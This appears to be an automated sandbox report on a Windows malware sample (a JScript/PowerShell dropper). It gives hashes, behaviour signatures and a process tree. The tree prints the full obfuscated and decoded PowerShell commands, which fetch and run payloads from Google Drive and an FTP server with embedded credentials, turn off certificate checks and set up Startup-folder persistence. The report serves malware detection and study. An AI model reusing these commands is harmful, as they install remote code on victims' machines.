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Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    24/09/2024, 01:10

General

  • Target

    25785577f4acd3a7dc0cd0287bf0beda056b3dc5ed612890ea2eef9d329d228e.exe

  • Size

    502KB

  • MD5

    5d5474ba6cc296ae15413641aa55e3b1

  • SHA1

    5d9e018f61c54caf387931e6bd4d7e12333bbc96

  • SHA256

    25785577f4acd3a7dc0cd0287bf0beda056b3dc5ed612890ea2eef9d329d228e

  • SHA512

    0c277f3c7a0c14ad6c3a032b653a98600c4f1b07aff941f88a3dde2bed2e88d5a023d35ef935b9e2dd43d0f3ebfca18ab30c274f8dd7028fd883fe160078ec70

  • SSDEEP

    12288:TLMEalqxXblqoRX5qbfphLxaOdRSRW4H4444Cb0:HqaXNabfphLxaSRSRW4H4444Cb0

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Drops file in Program Files directory 7 IoCs
  • Drops file in Windows directory 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\25785577f4acd3a7dc0cd0287bf0beda056b3dc5ed612890ea2eef9d329d228e.exe
    "C:\Users\Admin\AppData\Local\Temp\25785577f4acd3a7dc0cd0287bf0beda056b3dc5ed612890ea2eef9d329d228e.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1016
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Program Files\hospedes_1.js"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:816
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $fLbjh = 'JA㍿pAFUAbg㍿KAGEAIAA9ACAAJA㍿oAG8Acw㍿0AC4AVg㍿lAHIAcw㍿pAG8AbgAuAE0AYQ㍿qAG8AcgAuAEUAcQ㍿1AGEAbA㍿zACgAMgApADsASQ㍿mACAAKAAgACQAaQ㍿VAG4ASg㍿hACAAKQAgAHsAJA㍿NAGkAUg㍿JAGQAIAA9ACAAWw㍿TAHkAcw㍿0AGUAbQAuAEkATwAuAFAAYQ㍿0AGgAXQA6ADoARw㍿lAHQAVA㍿lAG0AcA㍿QAGEAdA㍿oACgAKQA7AGQAZQ㍿sACAAKAAkAE0AaQ㍿SAEkAZAAgACsAIAAnAFwAVQ㍿wAHcAaQ㍿uAC4AbQ㍿zAHUAJwApADsAJA㍿SAFkARQ㍿hAEYAIAA9ACAAJw㍿oAHQAdA㍿wAHMAOgAvAC8AZA㍿yAGkAdg㍿lAC4AZw㍿vAG8AZw㍿sAGUALg㍿jAG8AbQAvAHUAYwA/AGUAeA㍿wAG8Acg㍿0AD0AZA㍿vAHcAbg㍿sAG8AYQ㍿kACYAaQ㍿kAD0AJwA7ACQAcw㍿CAGkAaQ㍿XACAAPQAgACQAZQ㍿uAHYAOg㍿QAFIATw㍿DAEUAUw㍿TAE8AUg㍿fAEEAUg㍿DAEgASQ㍿UAEUAQw㍿UAFUAUg㍿FAC4AQw㍿vAG4AdA㍿hAGkAbg㍿zACgAJwA2ADQAJwApADsAaQ㍿mACAAKAAgACQAcw㍿CAGkAaQ㍿XACAAKQAgAHsAJA㍿SAFkARQ㍿hAEYAIAA9ACAAKAAkAFIAWQ㍿FAGEARgAgACsAIAAnADEATg㍿hAHEAZA㍿OAFgAaQ㍿HAHYASQ㍿fAHEAMQ㍿SAFAAaw㍿hAHoARg㍿0AE0AeQ㍿nAG0AYQ㍿xAFQASg㍿YAHUANAAyACcAKQAgADsAfQ㍿lAGwAcw㍿lACAAewAkAFIAWQ㍿FAGEARgAgAD0AIAAoACQAUg㍿ZAEUAYQ㍿GACAAKwAgACcAMQ㍿nADEAag㍿tAFgAdQ㍿zAFgAOQ㍿tAGMAOQ㍿WAG0AaA㍿WAHIASg㍿KADIAWA㍿vAGYAWgAzAGEASw㍿fAGMATA㍿PAHQAJwApACAAOw㍿9ADsAJA㍿JAGEAbw㍿NAGkAIAA9ACAAKAAgAE4AZQ㍿3AC0ATw㍿iAGoAZQ㍿jAHQAIA㍿OAGUAdAAuAFcAZQ㍿iAEMAbA㍿pAGUAbg㍿0ACAAKQAgADsAJA㍿JAGEAbw㍿NAGkALg㍿FAG4AYw㍿vAGQAaQ㍿uAGcAIAA9ACAAWw㍿TAHkAcw㍿0AGUAbQAuAFQAZQ㍿4AHQALg㍿FAG4AYw㍿vAGQAaQ㍿uAGcAXQA6ADoAVQ㍿UAEYAOAAgADsAJA㍿JAGEAbw㍿NAGkALg㍿EAG8Adw㍿uAGwAbw㍿hAGQARg㍿pAGwAZQAoACQAVQ㍿SAEwASw㍿CACwAIAAkAE0AaQ㍿SAEkAZAAgACsAIAAnAFwAVQ㍿wAHcAaQ㍿uAC4AbQ㍿zAHUAJwApACAAOwAkAEEAVQ㍿yAEcARgAgAD0AIAAoACAAJw㍿DADoAXA㍿VAHMAZQ㍿yAHMAXAAnACAAKwAgAFsARQ㍿uAHYAaQ㍿yAG8Abg㍿tAGUAbg㍿0AF0AOgA6AFUAcw㍿lAHIATg㍿hAG0AZQAgACkAOw㍿JAHoAag㍿㍿AFEAIAA9ACAAKAAgACQATQ㍿pAFIASQ㍿kACAAKwAgACcAXA㍿VAHAAdw㍿pAG4ALg㍿tAHMAdQAnACAAKQAgADsAIA㍿wAG8Adw㍿lAHIAcw㍿oAGUAbA㍿sAC4AZQ㍿4AGUAIA㍿3AHUAcw㍿hAC4AZQ㍿4AGUAIA㍿JAHoAag㍿㍿AFEAIAAvAHEAdQ㍿pAGUAdAAgAC8Abg㍿vAHIAZQ㍿zAHQAYQ㍿yAHQAIAA7ACAAQw㍿vAHAAeQAtAEkAdA㍿lAG0AIAAnACUARA㍿DAFAASg㍿VACUAJwAgAC0ARA㍿lAHMAdA㍿pAG4AYQ㍿0AGkAbw㍿uACAAKAAgACQAQQ㍿VAHIARw㍿GACAAKwAgACcAXA㍿㍿AHAAcA㍿EAGEAdA㍿hAFwAUg㍿vAGEAbQ㍿pAG4AZw㍿cAE0AaQ㍿jAHIAbw㍿zAG8AZg㍿0AFwAVw㍿pAG4AZA㍿vAHcAcw㍿cAFMAdA㍿hAHIAdAAgAE0AZQ㍿uAHUAXA㍿QAHIAbw㍿nAHIAYQ㍿tAHMAXA㍿TAHQAYQ㍿yAHQAdQ㍿wACcAIAApACAALQ㍿mAG8Acg㍿jAGUAIAA7AHAAbw㍿3AGUAcg㍿zAGgAZQ㍿sAGwALg㍿lAHgAZQAgAC0AYw㍿vAG0AbQ㍿hAG4AZAAgACcAcw㍿sAGUAZQ㍿wACAAMQA4ADAAJwA7ACAAcw㍿oAHUAdA㍿kAG8Adw㍿uAC4AZQ㍿4AGUAIAAvAHIAIAAvAHQAIAAwACAALw㍿mACAAfQ㍿lAGwAcw㍿lACAAew㍿bAFMAeQ㍿zAHQAZQ㍿tAC4ATg㍿lAHQALg㍿TAGUAcg㍿2AGkAYw㍿lAFAAbw㍿pAG4AdA㍿NAGEAbg㍿hAGcAZQ㍿yAF0AOgA6AFMAZQ㍿yAHYAZQ㍿yAEMAZQ㍿yAHQAaQ㍿mAGkAYw㍿hAHQAZQ㍿WAGEAbA㍿pAGQAYQ㍿0AGkAbw㍿uAEMAYQ㍿sAGwAYg㍿hAGMAawAgAD0AIA㍿7ACQAdA㍿yAHUAZQ㍿9ADsAWw㍿TAHkAcw㍿0AGUAbQAuAE4AZQ㍿0AC4AUw㍿lAHIAdg㍿pAGMAZQ㍿QAG8AaQ㍿uAHQATQ㍿hAG4AYQ㍿nAGUAcg㍿dADoAOg㍿TAGUAYw㍿1AHIAaQ㍿0AHkAUA㍿yAG8AdA㍿vAGMAbw㍿sACAAPQAgAFsAUw㍿5AHMAdA㍿lAG0ALg㍿OAGUAdAAuAFMAZQ㍿jAHUAcg㍿pAHQAeQ㍿QAHIAbw㍿0AG8AYw㍿vAGwAVA㍿5AHAAZQ㍿dADoAOg㍿UAGwAcwAxADIAOwAkAHEAcA㍿kAGMAIAA9ACAAKA㍿OAGUAdwAtAE8AYg㍿qAGUAYw㍿0ACAATg㍿lAHQALg㍿XAGUAYg㍿DAGwAaQ㍿lAG4AdAApADsAJA㍿xAHAAZA㍿jAC4ARQ㍿uAGMAbw㍿kAGkAbg㍿nACAAPQAgAFsAUw㍿5AHMAdA㍿lAG0ALg㍿UAGUAeA㍿0AC4ARQ㍿uAGMAbw㍿kAGkAbg㍿nAF0AOgA6AFUAVA㍿GADgAOwAkAHEAcA㍿kAGMALg㍿DAHIAZQ㍿kAGUAbg㍿0AGkAYQ㍿sAHMAIAA9ACAAbg㍿lAHcALQ㍿vAGIAag㍿lAGMAdAAgAFMAeQ㍿zAHQAZQ㍿tAC4ATg㍿lAHQALg㍿OAGUAdA㍿3AG8Acg㍿rAEMAcg㍿lAGQAZQ㍿uAHQAaQ㍿hAGwAKAAnAGQAZQ㍿zAGMAaw㍿2AGIAcg㍿hAHQAMQAnACwAJw㍿kAGUAdg㍿lAGwAbw㍿wAGUAcg㍿wAHIAbwAyADEANQA3ADgASg㍿wAEAAQAAnACkAOwAkAFYAdA㍿hAEEARgAgAD0AIAAkAHEAcA㍿kAGMALg㍿EAG8Adw㍿uAGwAbw㍿hAGQAUw㍿0AHIAaQ㍿uAGcAKAAgACcAZg㍿0AHAAOgAvAC8AZA㍿lAHMAYw㍿rAHYAYg㍿yAGEAdAAxAEAAZg㍿0AHAALg㍿kAGUAcw㍿jAGsAdg㍿iAHIAYQ㍿0AC4AYw㍿vAG0ALg㍿iAHIALw㍿VAHAAYw㍿yAHkAcA㍿0AGUAcgAvADAAMgAvAEQATA㍿MADAAMQAuAHQAeA㍿0ACcAIAApADsAJA㍿xAHAAZA㍿jAC4AZA㍿pAHMAcA㍿vAHMAZQAoACkAOwAkAHEAcA㍿kAGMAIAA9ACAAKA㍿OAGUAdwAtAE8AYg㍿qAGUAYw㍿0ACAATg㍿lAHQALg㍿XAGUAYg㍿DAGwAaQ㍿lAG4AdAApADsAJA㍿xAHAAZA㍿jAC4ARQ㍿uAGMAbw㍿kAGkAbg㍿nACAAPQAgAFsAUw㍿5AHMAdA㍿lAG0ALg㍿UAGUAeA㍿0AC4ARQ㍿uAGMAbw㍿kAGkAbg㍿nAF0AOgA6AFUAVA㍿GADgAOwAkAFYAdA㍿hAEEARgAgAD0AIAAkAHEAcA㍿kAGMALg㍿EAG8Adw㍿uAGwAbw㍿hAGQAUw㍿0AHIAaQ㍿uAGcAKAAgACQAVg㍿0AGEAQQ㍿GACAAKQA7AFsAQg㍿5AHQAZQ㍿bAF0AXQAgACQAUg㍿YAGkAVg㍿qAF8AWQ㍿sAHQASA㍿LACAAPQAgAFsAUw㍿5AHMAdA㍿lAG0ALg㍿DAG8Abg㍿2AGUAcg㍿0AF0AOgA6AEYAcg㍿vAG0AQg㍿hAHMAZQA2ADQAUw㍿0AHIAaQ㍿uAGcAKAAgACQAVg㍿0AGEAQQ㍿GAC4AUg㍿lAHAAbA㍿hAGMAZQAoACAAJwCTIToAkyEnACAALAAgACcAQQAnACAAKQAgACkAOw㍿bAFMAeQ㍿zAHQAZQ㍿tAC4AQQ㍿wAHAARA㍿vAG0AYQ㍿pAG4AXQA6ADoAQw㍿1AHIAcg㍿lAG4AdA㍿EAG8AbQ㍿hAGkAbgAuAEwAbw㍿hAGQAKAAgACQAUg㍿YAGkAVg㍿qAF8AWQ㍿sAHQASA㍿LACAAKQAuAEcAZQ㍿0AFQAeQ㍿wAGUAKAAgACcAQw㍿sAGEAcw㍿zAEwAaQ㍿iAHIAYQ㍿yAHkAMwAuAEMAbA㍿hAHMAcwAxACcAIAApAC4ARw㍿lAHQATQ㍿lAHQAaA㍿vAGQAKAAgACcAcA㍿yAEYAVg㍿JACcAIAApAC4ASQ㍿uAHYAbw㍿rAGUAKAAkAG4AdQ㍿sAGwALAAgAFsAbw㍿iAGoAZQ㍿jAHQAWw㍿dAF0AIAAoACAAJw㍿lAG4AaQ㍿0AHMAaQ㍿jAGUAbg㍿hAGkAcg㍿kAGEALw㍿3AGEAcgAvAHQAZQ㍿uAC4Abg㍿pAGIAdA㍿zAGEAcAAvAC8AOg㍿zAHAAdA㍿0AGgAJwAgACwAIAAnACUARA㍿DAFAASg㍿VACUAJwAsACAAJw㍿0AHIAdQ㍿lADEAJwAgACkAIAApADsAfQA7AA==';$fLbjh = $fLbjh.replace('㍿','B') ;$fLbjh = [System.Convert]::FromBase64String( $fLbjh ) ;;;$fLbjh = [System.Text.Encoding]::Unicode.GetString( $fLbjh ) ;$fLbjh = $fLbjh.replace('%DCPJU%','C:\Program Files\hospedes_1.js') ;powershell $fLbjh
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1848
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$iUnJa = $host.Version.Major.Equals(2);If ( $iUnJa ) {$MiRId = [System.IO.Path]::GetTempPath();del ($MiRId + '\Upwin.msu');$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$IaoMi = ( New-Object Net.WebClient ) ;$IaoMi.Encoding = [System.Text.Encoding]::UTF8 ;$IaoMi.DownloadFile($URLKB, $MiRId + '\Upwin.msu') ;$AUrGF = ( 'C:\Users\' + [Environment]::UserName );IzjAQ = ( $MiRId + '\Upwin.msu' ) ; powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Program Files\hospedes_1.js' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$qpdc = (New-Object Net.WebClient);$qpdc.Encoding = [System.Text.Encoding]::UTF8;$qpdc.Credentials = new-object System.Net.NetworkCredential('desckvbrat1','developerpro21578Jp@@');$VtaAF = $qpdc.DownloadString( 'ftp://[email protected]/Upcrypter/02/DLL01.txt' );$qpdc.dispose();$qpdc = (New-Object Net.WebClient);$qpdc.Encoding = [System.Text.Encoding]::UTF8;$VtaAF = $qpdc.DownloadString( $VtaAF );[Byte[]] $RXiVj_YltHK = [System.Convert]::FromBase64String( $VtaAF.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $RXiVj_YltHK ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( 'enitsicenairda/war/ten.nibtsap//:sptth' , 'C:\Program Files\hospedes_1.js', 'true1' ) );};"
          4⤵
          • Drops startup file
          • Command and Scripting Interpreter: PowerShell
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2364
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe IzjAQ /quiet /norestart
            5⤵
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2736
            • C:\Windows\system32\wusa.exe
              "C:\Windows\system32\wusa.exe" IzjAQ /quiet /norestart
              6⤵
              • Drops file in Windows directory
              PID:2628
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2744

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Program Files\hospedes_1.js

    Filesize

    11KB

    MD5

    19ddde9f3ba61841471b2821aebf8a1d

    SHA1

    b9be28a259b2a2c329b2a727d4cccdf07890e068

    SHA256

    53f57b59460fbc66a1904f2d571788b5717cbfa7e601ab467488ddc083b0fa17

    SHA512

    060c44a545ee2dc2463c876c4a9f53d9527cb13e347674289ccc6299dc917ef11beb41c8600468c56065fc2b2b2493d068b6178303d1f964ee83661719c26310

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    2287ae3c1cb86d617b34ddd1482ad3f3

    SHA1

    31631ee257fa5d56fa67ab4633aae91f12d56bbb

    SHA256

    e813cd195807dd58785b15d2acf508a7ff5f2fd91363e8f0f8f13de0e75e4b50

    SHA512

    d9b0626533c241ea0f4ae50502010b04cd3acfc1c2fcd908d89cd8b966bac4fcacc87d4265823d712d09473b78bf1442ca1c4a4ea0c0df5b2fb449c5c05eb6b5

  • memory/1848-9-0x000000001B720000-0x000000001BA02000-memory.dmp

    Filesize

    2.9MB

  • memory/1848-10-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

    Filesize

    32KB